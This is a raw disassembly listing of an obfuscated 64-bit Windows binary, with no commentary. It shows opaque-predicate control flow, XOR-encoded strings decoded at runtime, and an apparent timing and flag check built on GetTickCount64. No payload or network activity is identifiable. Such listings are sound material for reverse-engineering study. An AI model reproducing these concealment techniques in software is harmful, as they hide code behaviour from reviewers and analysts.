mov qword [rbp + 0xa0], rax
lea rax, [rdi + 0x45813419]
mov qword [rbp + 0x78], rax
sub rsp, 0x20
mov rcx, rsi
call fcn.14000f8a0
lea rdi, [rbp + 0xd0]
mov rcx, rdi
call fcn.1400daef0
mov rcx, rdi
call fcn.1400db820
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
add rsp, 0x20
mov qword [rbp + 0x10], rax
sub rsp, 0x20
mov rcx, rdi
call fcn.14000f8a0
lea rdx, [0x141db9b48]
mov r8d, 0xa
mov rsi, qword [rbp + 0x68]
mov rcx, rsi
call fcn.1400deae0
add rsp, 0x20
movzx eax, byte [rsi]
nop dword [rax]
mov ecx, dword [0x141dc2f68]
or ecx, dword [0x141dc2f6c]
imul ecx, ecx, 0xa117ce6f
or ecx, 0x98021000
and ecx, 0xfa2ad600
cmp ecx, 0x60615f0b
jb 0x140022490
cmp al, 0x12
jne 0x1400225b4
mov rax, qword [rsi + 8]
mov qword [r14], rax
lea rax, [0x141db0320]
mov qword [rbp + 0xd0], rax
mov ecx, dword [0x141dc2fa0]
sub ecx, dword [0x141dc2fa4]
movabs rax, 0x5ef731c953b7bdbd
and ecx, 0xaee4adc8
xor ecx, 0x8106f831
cmp ecx, 0xebcd70
jae 0x140022510
mov qword [rbp + 0xd0], rax
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2fa8]
add ecx, dword [0x141dc2fac]
or ecx, 0x400040
and ecx, 0x12c18c70
mov rsi, qword [rbp + 0xd0]
mov qword [rbp + 0xd0], rax
cmp ecx, 0x44bf4fbd
ja 0x140022510
movabs rdi, 0xa65d8ff2c84c7a37
movabs rbx, 0x82ce809100365393
movabs r15, 0x4e4f32d8094db61f
movabs r12, 0x1c5ee0f7aa98bc92
mov eax, dword [0x141dc2fb0]
and eax, dword [0x141dc2fb4]
imul eax, eax, 0x2115b963
cmp eax, 0x334a6841
je 0x1400226da
jmp 0x14002261e
ud2
ud2
mov eax, dword [0x141dc2e10]
sub eax, dword [0x141dc2e14]
imul rax, rax, 0x7f33e09b
shr rax, 0x3e
add eax, 0x97e70895
xor eax, 0xa960189c
ud2
ud2
mov r13d, dword [0x141dc2fb8]
imul r13d, dword [0x141dc2fbc]
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
mov rcx, rsi
call fcn.140018aa0
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, rbx
mov rdx, qword [rax + 8]
xor rdx, r15
mov r8, qword [rax + 0x10]
xor r8, r12
mov r9, qword [rax + 0x18]
xor r9, rdi
mov r10d, 0xe3db4043
xor r10d, dword [rax + 0x20]
movzx eax, word [rax + 0x24]
mov r11d, eax
xor r11b, 0xea
shr eax, 8
xor al, 0xd0
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov qword [rbp + 0xe0], r8
mov qword [rbp + 0xe8], r9
mov dword [rbp + 0xf0], r10d
mov byte [rbp + 0xf4], r11b
mov byte [rbp + 0xf5], al
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
lea r8, [rbp + 0xd0]
mov r9d, 0x26
mov rdx, r14
call fcn.140007550
add rsp, 0x20
cmp r13d, 0xe5c1f568
jne 0x14002277f
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
mov rcx, rsi
call fcn.140018aa0
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, rbx
mov rdx, qword [rax + 8]
xor rdx, r15
mov r8, qword [rax + 0x10]
xor r8, r12
mov r9, qword [rax + 0x18]
xor r9, rdi
mov r10d, 0xe3db4043
xor r10d, dword [rax + 0x20]
movzx eax, word [rax + 0x24]
mov r11d, eax
xor r11b, 0xea
shr eax, 8
xor al, 0xd0
mov qword [rbp + 0xd0], rcx
mov qword [rbp + 0xd8], rdx
mov qword [rbp + 0xe0], r8
mov qword [rbp + 0xe8], r9
mov dword [rbp + 0xf0], r10d
mov byte [rbp + 0xf4], r11b
mov byte [rbp + 0xf5], al
sub rsp, 0x20
lea rcx, [rbp + 0x1d0]
lea r8, [rbp + 0xd0]
mov r9d, 0x26
mov rdx, r14
call fcn.140007550
add rsp, 0x20
jmp 0x14002261e
cmp byte [rbp + 0x1d0], 0x12
jne 0x1400231fd
nop dword [rax]
mov eax, dword [0x141dc2fc0]
xor eax, dword [0x141dc2fc4]
imul rax, rax, 0x5bf1bb13
shr rax, 0x3d
imul eax, eax, 0x16537514
xor eax, 0xc8edd4ef
cmp eax, 0x2acc8acf
jb 0x140022790
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x68], rax
mov r9, qword [rbp + 0x1e0]
mov rax, qword [rbp + 0x1e8]
lea r10, [rax + rax*2]
shl r10, 4
lea rcx, [r9 + r10]
mov qword [rbp + 0x1c8], rcx
movabs rdx, 0xaaaaaaaaaaaaaaab
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
lea r8, [rbp + 0xd8]
mov r15, qword [rbp + 0x260]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2fc8]
and ecx, dword [0x141dc2fcc]
or ecx, 0x7abdf52f
add ecx, 0x2686b260
cmp ecx, 0xb1a6a34c
ja 0x140022810
mov rsi, r9
test rax, rax
mov qword [rbp - 0x78], r9
je 0x14002316a
mov eax, dword [0x141dc2fd0]
xor edx, edx
div dword [0x141dc2fd4]
xor eax, 0x233d2ae4
imul eax, eax, 0xd2768563
cmp eax, 0x9f2ad2f1
je 0x140022840
add r10, 0xffffffffffffffd0
lea rdi, [r9 + 0x30]
lea r14, [rbp + 0xd0]
mov rax, r9
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2fe0]
add ecx, dword [0x141dc2fe4]
and ecx, 0x71a52a5e
imul rcx, rcx, 0x44e9bedd
shr rcx, 0x3b
add ecx, 0x3970d626
cmp ecx, 0x41afed44
ja 0x140022880
lea rsi, [rax + 0x30]
mov rcx, qword [rax]
test rcx, rcx
lea rbx, [rbp + 0x1d0]
je 0x140023160
mov qword [rbp + 0x270], r10
mov qword [rbp + 0xd0], rcx
mov rcx, qword [rax + 0x28]
mov qword [r8 + 0x20], rcx
movdqu xmm0, xmmword [rax + 8]
movups xmm1, xmmword [rax + 0x18]
movups xmmword [r8 + 0x10], xmm1
movdqu xmmword [r8], xmm0
lea rax, [0x141dab242]
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1d0]
movabs rax, 0x4d8eb32cbe97681
mov qword [rbp + 0x1d0], rax
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140018320
add rsp, 0x20
mov eax, dword [rax]
mov ecx, 0x21875979
xor eax, ecx
mov dword [rbp + 0xb0], eax
sub rsp, 0x20
mov r8d, 4
mov rcx, r14
lea rdx, [rbp + 0xb0]
call fcn.14001c890
add rsp, 0x20
test rax, rax
je 0x140022e96
cmp byte [rax + 0x18], 2
jne 0x140022e96
mov r15, qword [rax + 0x28]
mov r12, qword [rax + 0x30]
lea rax, [0x141da7945]
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1d0]
movabs rax, 0x94924f537a3d8427
mov qword [rbp + 0x1d0], rax
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140019f40
add rsp, 0x20
mov r13d, dword [rax]
mov ecx, 0xe9b42e33
xor r13d, ecx
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
mov edx, eax
shr edx, 8
xor al, 0x4a
xor dl, 0x79
xor cl, 0x3d
movzx ecx, cl
shl rcx, 0x30
movzx ebx, dl
shl rbx, 0x28
or rbx, rcx
mov ecx, dword [0x141dc3000]
or ecx, dword [0x141dc3004]
movzx r14d, al
and ecx, 0x41800a00
xor ecx, 0xd63e1b3f
cmp ecx, 0xc9b80405
jae 0x140022a47
mov rax, r14
shl rax, 0x20
or rax, rbx
mov ecx, ebx
or ecx, r13d
mov rdx, rbx
shr rdx, 0x30
mov byte [rbp + 0x236], dl
mov dword [rbp + 0x230], ecx
shr rax, 0x20
mov word [rbp + 0x234], ax
sub rsp, 0x20
mov edx, 7
lea rcx, [rbp + 0x230]
mov r8, r15
mov r9, r12
call fcn.140011b00
add rsp, 0x20
shl r14, 0x20
or r14, rbx
or r13d, ebx
shr rbx, 0x30
mov byte [rbp + 0x236], bl
mov dword [rbp + 0x230], r13d
shr r14, 0x20
mov word [rbp + 0x234], r14w
sub rsp, 0x20
mov edx, 7
lea rcx, [rbp + 0x230]
mov qword [rbp + 0x268], r15
mov r8, r15
mov r9, r12
call fcn.140011b00
add rsp, 0x20
test al, al
lea r14, [rbp + 0x1d0]
movabs r13, 0x53a93ffbd361cdbd
jne 0x140023098
nop dword [rax]
mov eax, dword [0x141dc3008]
add eax, dword [0x141dc300c]
cmp eax, 0xa6d68ed0
je 0x140022ab0
mov eax, dword [0x141dc3010]
xor eax, dword [0x141dc3014]
cmp eax, 0x3cd70893
mov r15, qword [rbp + 0x268]
jne 0x140022b51
lea rax, [0x141db145d]
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1d0]
movabs rax, 0x73a3b2f08ec37f4
mov qword [rbp + 0x1d0], rax
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140018da0
add rsp, 0x20
mov ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x9b
shr eax, 8
xor al, 0x7f
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov eax, 0xe1dd4450
xor rcx, rax
mov dword [rbp + 0x230], ecx
shr rdx, 0x20
mov word [rbp + 0x234], dx
lea rax, [0x141db145d]
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1d0]
movabs rax, 0x73a3b2f08ec37f4
mov qword [rbp + 0x1d0], rax
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140018da0
add rsp, 0x20
mov ecx, dword [rax]
movzx eax, word [rax + 4]
mov edx, eax
xor dl, 0x9b
shr eax, 8
xor al, 0x7f
movzx eax, al
shl rax, 0x28
movzx edx, dl
shl rdx, 0x20
or rdx, rax
mov eax, 0xe1dd4450
xor rcx, rax
mov dword [rbp + 0x230], ecx
shr rdx, 0x20
mov word [rbp + 0x234], dx
sub rsp, 0x20
mov edx, 6
lea rcx, [rbp + 0x230]
mov r8, r15
mov r9, r12
call fcn.140011b00
add rsp, 0x20
test al, al
jne 0x140023098
mov qword [rbp + 0x1b8], rdi
lea rax, [0x141da7791]
mov qword [rbp + 0x1d0], rax
mov r15, r13
mov r13, qword [rbp + 0x1d0]
mov r14, r12
mov r12, qword [rbp + 0x268]
nop word cs:[rax + rax]
mov ebx, dword [0x141dc3018]
imul ebx, dword [0x141dc301c]
or ebx, 0x805cfe3c
xor ebx, 0x2ceb1699
mov qword [rbp + 0x1d0], r15
lea rdi, [rbp + 0x1d0]
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
mov rcx, r13
call fcn.140018200
add rsp, 0x20
mov rcx, qword [rax]
movabs rdx, 0xb5af78fbc29bd7ac
xor rcx, rdx
movzx eax, word [rax + 8]
mov edx, eax
xor dl, 0xc3
shr eax, 8
xor al, 0x81
mov qword [rbp + 0x1d0], rcx
mov byte [rbp + 0x1d8], dl
mov byte [rbp + 0x1d9], al
sub rsp, 0x20
mov edx, 0xa
mov rcx, rdi
mov r8, r12
mov r9, r14
call fcn.140011b00
add rsp, 0x20
cmp ebx, 0xf3838637
ja 0x140022c20
test al, al
mov rdi, qword [rbp + 0x1b8]
lea r15, [0x141db0dc9]
mov r12, r14
lea r14, [rbp + 0x1d0]
jne 0x140023098
lea rax, [0x141da8801]
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1d0]
movabs rax, 0x2d716f3c95f538ef
mov qword [rbp + 0x1d0], rax
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.14001a330
add rsp, 0x20
mov eax, dword [rax]
mov ecx, 0x8b15a7e4
xor eax, ecx
mov dword [rbp + 0x1d0], eax
sub rsp, 0x20
mov edx, 4
mov rcx, r14
mov r8, qword [rbp + 0x268]
mov r9, r12
call fcn.140011b00
add rsp, 0x20
test al, al
jne 0x140023098
mov eax, dword [0x141dc3020]
mov ecx, dword [0x141dc3024]
add eax, ecx
add eax, 0xadf6f8ba
xor eax, 0x1dc47763
cmp eax, 0xf88c296b
lea rdx, [0x141da92b6]
ja 0x140022d92
mov eax, dword [0x141dc3028]
mov ecx, dword [0x141dc302c]
add eax, ecx
add eax, 0xb3cf733c
and eax, 0xda4fd282
mov qword [rbp + 0x1d0], rdx
cmp eax, 0xa1b52159
jbe 0x140022d9b
mov qword [rbp + 0x1d0], rdx
jmp 0x140022d6c
mov rcx, qword [rbp + 0x1d0]
mov eax, dword [0x141dc3030]
add eax, dword [0x141dc3034]
or eax, 0x2088286e
and eax, 0xa68aaeee
imul eax, eax, 0xa13af1e5
cmp eax, 0x7b4bcfb
movabs r8, 0xff8dd1cfc291cc8c
jae 0x140022de0
mov qword [rbp + 0x1d0], r8
nop word cs:[rax + rax]
mov eax, dword [0x141dc3038]
xor edx, edx
div dword [0x141dc303c]
or eax, 0xf4c80a45
add eax, 0x1b0acbfa
or eax, 0x16ce29fb
mov qword [rbp + 0x1d0], r8
cmp eax, 0x558e7dd5
ja 0x140022de0
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140018d30
add rsp, 0x20
mov rcx, qword [rax]
movabs rdx, 0xdc92af07fd2c8523
xor rcx, rdx
movzx eax, byte [rax + 8]
xor al, 0x7e
mov qword [rbp + 0x1d0], rcx
mov byte [rbp + 0x1d8], al
sub rsp, 0x20
mov edx, 9
mov rcx, r14
mov r8, qword [rbp + 0x268]
mov r9, r12
call fcn.140011b00
add rsp, 0x20
test al, al
jne 0x140023098
mov eax, dword [0x141dc3040]
sub eax, dword [0x141dc3044]
xor eax, 0x962ecd86
add eax, 0x47c5d2ec
cmp eax, 0x7bd71b3
movabs r13, 0xf2dc53b0543d5116
jb 0x140022f5e
jmp 0x140022f08
sub rsp, 0x20
lea r14, [rbp + 0xd0]
mov rcx, r14
call fcn.14000d4f0
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x141dc2ff8]
imul eax, dword [0x141dc2ffc]
and eax, 0xd4583472
imul eax, eax, 0x4b0954fd
cmp eax, 0x1d4ad0d0
je 0x140022eb0
mov r10, qword [rbp + 0x270]
add r10, 0xffffffffffffffd0
add rdi, 0x30
mov rax, rsi
cmp rsi, qword [rbp + 0x1c8]
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
lea r8, [rbp + 0xd8]
mov r15, qword [rbp + 0x260]
jne 0x140022880
jmp 0x1400231c0
mov eax, dword [0x141dc3048]
add eax, dword [0x141dc304c]
imul ebx, eax, 0xb3e6115d
add ebx, 0xbc40613d
xor ebx, 0xc618ba38
mov qword [rbp + 0x1d0], r15
mov rcx, qword [rbp + 0x1d0]
mov qword [rbp + 0x1d0], r13
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140019760
add rsp, 0x20
movzx ecx, word [rax]
movzx eax, byte [rax + 2]
cmp ebx, 0x22801d45
jae 0x140022f93
mov qword [rbp + 0x1d0], r15
mov rcx, qword [rbp + 0x1d0]
mov qword [rbp + 0x1d0], r13
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.140019760
add rsp, 0x20
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
jmp 0x140022f08
shl eax, 0x10
or ecx, eax
mov eax, ecx
shr eax, 8
mov edx, ecx
xor dl, 0xc2
xor al, 0xa3
shr ecx, 0x10
xor cl, 0x66
movzx ecx, cl
mov byte [rbp + 0x1d2], cl
shl ecx, 0x10
movzx eax, al
shl eax, 8
or eax, ecx
movzx ecx, dl
or ecx, eax
mov word [rbp + 0x1d0], cx
sub rsp, 0x20
mov edx, 3
mov rcx, r14
mov r8, qword [rbp + 0x268]
mov r9, r12
call fcn.140011b00
add rsp, 0x20
test al, al
jne 0x140023098
lea rax, [0x141db2718]
mov qword [rbp + 0x1d0], rax
mov rcx, qword [rbp + 0x1d0]
movabs rax, 0x8bde41c19954652a
mov qword [rbp + 0x1d0], rax
mov rdx, qword [rbp + 0x1d0]
sub rsp, 0x20
call fcn.14001a270
add rsp, 0x20
mov ecx, dword [rax]
mov edx, 0xae541bf8
xor rcx, rdx
movzx eax, byte [rax + 4]
xor al, 0xcd
mov byte [rbp + 0x1d4], al
mov dword [rbp + 0x1d0], ecx
sub rsp, 0x20
mov edx, 5
mov rcx, r14
mov r8, qword [rbp + 0x268]
mov r9, r12
call fcn.140011b00
add rsp, 0x20
nop word cs:[rax + rax]
mov ecx, dword [0x141dc3050]
or ecx, dword [0x141dc3054]
xor ecx, 0x5d4c3ef0
add ecx, 0x8ae00de3
cmp ecx, 0xcf923f3e
jb 0x140023070
test al, al
je 0x140022e96
lea r15, [rbp + 0xd0]
xor ebx, ebx
mov r14, qword [rbp + 0x58]
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax]
sub rsp, 0x20
mov rcx, r15
call fcn.14000d4f0
add rsp, 0x20
test bl, bl
je 0x1400230d6
sub rsp, 0x20
mov rcx, r15
call fcn.14000d4f0
add rsp, 0x20
jmp 0x1400230b0
cmp qword [rbp + 0x1c8], rsi
je 0x140023119
mov rax, qword [rbp + 0x270]
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rsi, rdx
shr rsi, 5
nop word [rax + rax]
sub rsp, 0x20
mov rcx, rdi
call fcn.14000d4f0
add rsp, 0x20
add rdi, 0x30
dec rsi
jne 0x140023100
mov ecx, 0x9095cc57
mov r15, qword [rbp + 0x260]
nop word cs:[rax + rax]
mov eax, dword [0x141dc3058]
xor edx, edx
div dword [0x141dc305c]
imul rax, rcx
shr rax, 0x3f
add eax, 0xb445c05f
cmp eax, 0x97d76f50
jb 0x140023130
mov bl, 1
cmp qword [rbp + 0x68], 0
jne 0x1400231cd
jmp 0x14002321d
movabs rdx, 0xaaaaaaaaaaaaaaab
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
sub rax, rsi
mul rdx
cmp rcx, rsi
je 0x1400231c0
mov rdi, rdx
shr rdi, 5
xor ebx, ebx
xor r14d, r14d
jmp 0x1400231a0
sub rsp, 0x20
mov rcx, rsi
call fcn.14000d4f0
add rsp, 0x20
sub rsp, 0x20
mov rcx, rsi
call fcn.14000d4f0
add rsp, 0x20
test bl, bl
jne 0x140023190
add rsi, 0x30
inc r14
dec rdi
jne 0x1400231a0
xor ebx, ebx
cmp qword [rbp + 0x68], 0
mov r14, qword [rbp + 0x58]
je 0x14002321d
mov eax, dword [0x141dc2fe8]
xor eax, dword [0x141dc2fec]
and eax, 0x761ff0a0
imul eax, eax, 0xbeb5a8d2
and eax, 0xdbc04b40
cmp eax, 0x6c2fb26f
mov rdi, qword [rbp - 0x78]
ja 0x140024435
jmp 0x1400243e9
ud2
movzx eax, byte [rbp + 0x27f]
or al, byte [rbp + 0x1a8]
or al, byte [rbp + 0x258]
mov rax, qword [rbp + 0xa8]
jne 0x14002344c
cmp r15, rax
jne 0x14002344c
cmp qword [rbp + 0x1b0], 2
jb 0x14002344c
mov rax, qword [rbp + 0x78]
cmp qword [rbp + 0xa0], rax
jb 0x14002344c
mov eax, 0x9a7ecbe7
cmp qword [rbp + 0x10], rax
ja 0x14002344c
test bl, bl
jne 0x14002344c
mov eax, dword [0x141dc3078]
xor edx, edx
div dword [0x141dc307c]
nop word [rax + rax]
mov eax, dword [0x141dc3080]
add eax, dword [0x141dc3084]
xor eax, 0x9845409
and eax, 0x8b84dc79
imul eax, eax, 0xe9a2fc75
cmp eax, 0xe55c451
jb 0x140023290
mov rsi, qword [r14]
mov rdi, qword [rsi]
nop dword [rax]
mov ebx, dword [0x141dc3088]
imul ebx, dword [0x141dc308c]
add ebx, 0x6580ba55
and ebx, 0x5d70c197
add ebx, 0x10a7065c
sub rsp, 0x20
mov rcx, rsi
call qword [rdi + 0x10]
add rsp, 0x20
cmp ebx, 0x318ab0f1
jae 0x140023310
sub rsp, 0x20
mov rcx, rsi
call qword [rdi + 0x10]
add rsp, 0x20
jmp 0x1400232c0
mov eax, dword [0x141dc3090]
sub eax, dword [0x141dc3094]
or eax, 0x25bab433
imul eax, eax, 0xc5af0a20
add eax, 0xf81c258
cmp eax, 0x68a8c5e1
ja 0x140023310
cmp qword [rbp + 8], 0
mov rbx, qword [rbp + 0x50]
je 0x1400233e9
nop word cs:[rax + rax]
mov eax, dword [0x141dc3098]
and eax, dword [0x141dc309c]
and eax, 0x6ddba73c
xor eax, 0x55d4463f
imul eax, eax, 0xcd2e5e88
mov rsi, qword [0x141ddb260]
cmp eax, 0xa0b03c00
ja 0x140023350
mov eax, dword [0x141dc30a0]
add eax, dword [0x141dc30a4]
or eax, 0xdde1dbd9
add eax, 0x2a5cc3c4
cmp eax, 0xf07ee956
jbe 0x1400233b0
sub rsp, 0x20
mov rcx, rsi
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x141dc30a8]
xor eax, dword [0x141dc30ac]
imul edi, eax, 0xff3b3ee1
and edi, 0xa9226bd3
add edi, 0x93489d1b
sub rsp, 0x20
mov rcx, rsi
xor edx, edx
mov r8, rbx
call r12
add rsp, 0x20
cmp edi, 0x52c83486
jb 0x1400233b0
sub rsp, 0x20
mov rcx, qword [rbp]
call fcn.14000f8a0
add rsp, 0x20
nop word [rax + rax]
mov eax, dword [0x141dc30b0]
sub eax, dword [0x141dc30b4]
add eax, 0x5966420
xor eax, 0x11373f77
add eax, 0x109aca1a
cmp eax, 0xa3d4a73a
ja 0x140023400
movaps xmm6, xmmword [rbp + 0x280]
movaps xmm7, xmmword [rbp + 0x290]
movaps xmm8, xmmword [rbp + 0x2a0]
lea rsp, [rbp + 0x2b8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov dword [rbp + 0x268], ebx
lea rax, [0x141db48d5]
mov qword [rbp + 0xd0], rax
lea rax, [rbp + 0xd0]
mov rsi, qword [rbp + 0xd0]
mov ecx, dword [0x141dc3060]
imul ecx, dword [0x141dc3064]
movabs rax, 0x158442ca7c9fe75
imul ecx, ecx, 0x80626580
add ecx, 0x7125df00
cmp ecx, 0x17f7c4d8
jae 0x1400234a0
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd0], rax
movabs r12, 0x99561957e81fa1a2
mov eax, dword [0x141dc3068]
or eax, dword [0x141dc306c]
add eax, 0x702868d5
cmp eax, 0x906b9ae2
jbe 0x140023574
lea rax, [rbp + 0xd0]
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
mov rcx, rsi
call fcn.140018850
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r12
mov edx, 0x15e65949
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0xee
shr eax, 8
xor al, 0xd3
mov r9, qword [rbp + 0x18]
mov qword [r9], rcx
mov dword [r9 + 8], edx
mov byte [r9 + 0xc], r8b
mov byte [r9 + 0xd], al
mov rax, qword [rbp + 0x20]
mov qword [rax], r9
mov qword [rax + 8], 0xe
mov rdx, qword [rbp + 0x28]
mov qword [rdx], rax
lea rax, [0x14008b790]
mov qword [rdx + 8], rax
lea rax, [0x140102e90]
mov rcx, qword [rbp + 0x30]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.14009f0e0
add rsp, 0x20
mov r14, qword [rbp + 0x18]
mov r15, qword [rbp + 0x20]
mov rdi, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x30]
nop word cs:[rax + rax]
mov r13d, dword [0x141dc3070]
sub r13d, dword [0x141dc3074]
xor r13d, 0xda445590
mov eax, 0x88e190c5
imul r13, rax
shr r13, 0x3e
or r13d, 0x7ffb5ffd
lea rax, [rbp + 0xd0]
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
mov rcx, rsi
call fcn.140018850
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r12
mov edx, dword [rax + 8]
mov r8d, 0x15e65949
xor edx, r8d
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0xee
shr eax, 8
xor al, 0xd3
mov qword [r14], rcx
mov dword [r14 + 8], edx
mov byte [r14 + 0xc], r8b
mov byte [r14 + 0xd], al
mov qword [r15], r14
mov qword [r15 + 8], 0xe
mov qword [rdi], r15
lea rax, [0x14008b790]
mov qword [rdi + 8], rax
lea rax, [0x140102e90]
mov qword [rbx], rax
mov qword [rbx + 8], 2
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 1
sub rsp, 0x20
mov rcx, rbx
call fcn.14009f0e0
add rsp, 0x20
cmp r13d, 0x83a29489
ja 0x140023590
cmp byte [rbp + 0x27f], 0
je 0x140023785
lea rax, [0x141dad85c]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0xd0]
movabs rax, 0xaa5cede4eac69886
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.14001ab30
add rsp, 0x20
mov r8, qword [rax]
mov rdx, qword [rax + 8]
movabs rcx, 0x694390f73a5ce12b
xor rcx, rdx
movabs rdx, 0x280ef37b3eb2a513
xor rdx, r8
mov r10, qword [rbp - 0x28]
nop word [rax + rax]
mov r9d, dword [0x141dc30b8]
add r9d, dword [0x141dc30bc]
xor r9d, 0x418063
or r9d, 0x8e3e7784
add r9d, 0xe602d31
movzx r8d, word [rax + 0x10]
mov qword [r10], rdx
mov qword [r10 + 8], rcx
cmp r9d, 0x5113b7db
jb 0x1400236e0
mov eax, r8d
xor al, 0x79
shr r8d, 8
xor r8b, 0xd6
mov byte [r10 + 0x10], al
mov byte [r10 + 0x11], r8b
mov rax, qword [rbp - 0x20]
mov qword [rax], r10
mov qword [rax + 8], 0x12
mov rdx, qword [rbp - 0x18]
mov qword [rdx], rax
lea rax, [0x14008b790]
mov qword [rdx + 8], rax
mov rcx, qword [rbp - 0x10]
lea rax, [0x140102e90]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.14009f0e0
add rsp, 0x20
cmp byte [rbp + 0x1a8], 0
je 0x140023900
lea r12, [0x141dabe5d]
mov r13d, 0x468b6107
mov r15, qword [rbp - 0x40]
mov rbx, qword [rbp - 0x38]
mov rsi, qword [rbp - 8]
lea rdi, [rbp + 0xd0]
nop word cs:[rax + rax]
mov r14d, dword [0x141dc30c8]
or r14d, dword [0x141dc30cc]
xor r14d, 0x5be933d0
mov eax, 0xf919d0d3
imul r14, rax
shr r14, 0x3d
or r14d, 0x35025e23
mov qword [rbp + 0xd0], r12
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x45d5e0844ca84515
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018530
add rsp, 0x20
mov rcx, qword [rax]
movabs rdx, 0x7e6557afedf42a14
xor rcx, rdx
mov eax, dword [rax + 8]
xor eax, r13d
mov qword [r15], rcx
mov dword [r15 + 8], eax
mov qword [rbx], r15
mov qword [rbx + 8], 0xc
mov qword [rsi], rbx
cmp r14d, 0x45a35fb0
jbe 0x1400238b3
mov qword [rbp + 0xd0], r12
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x45d5e0844ca84515
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140018530
add rsp, 0x20
mov rcx, qword [rax]
movabs rdx, 0x7e6557afedf42a14
xor rcx, rdx
mov eax, dword [rax + 8]
xor eax, r13d
mov qword [r15], rcx
mov dword [r15 + 8], eax
mov qword [rbx], r15
mov qword [rbx + 8], 0xc
mov qword [rsi], rbx
jmp 0x1400237c0
lea rax, [0x14008b790]
mov qword [rsi + 8], rax
mov rcx, qword [rbp - 0x30]
lea rax, [0x140102e90]
mov qword [rcx], rax
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
sub rsp, 0x20
call fcn.14009f0e0
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc30c0]
xor edx, edx
div dword [0x141dc30c4]
add eax, 0xb9768061
or eax, 0xa7dff578
imul eax, eax, 0xc6de6934
cmp eax, 0xf52df04f
ja 0x140023900
cmp byte [rbp + 0x258], 0
je 0x140023a2c
lea rax, [0x141da5b10]
mov qword [rbp + 0xd0], rax
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 0xd0]
movabs rax, 0x16224bfe39db3edf
mov qword [rbp + 0xd0], rax
mov rdx, qword [rbp + 0xd0]
sub rsp, 0x20
call fcn.140019590
add rsp, 0x20
movabs rcx, 0x5cba4b555f1839e7
xor rcx, qword [rax]
movabs rdx, 0x94e2ffdaafccd61d
xor rdx, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0x96
shr eax, 8
xor al, 0x90
mov r9, qword [rbp - 0x60]
mov qword [r9], rcx
mov qword [r9 + 8], rdx
mov byte [r9 + 0x10], r8b
mov byte [r9 + 0x11], al
mov rax, qword [rbp - 0x58]
mov qword [rax], r9
mov qword [rax + 8], 0x12
mov rdx, qword [rbp - 0x50]
mov qword [rdx], rax
lea rax, [0x14008b790]
mov qword [rdx + 8], rax
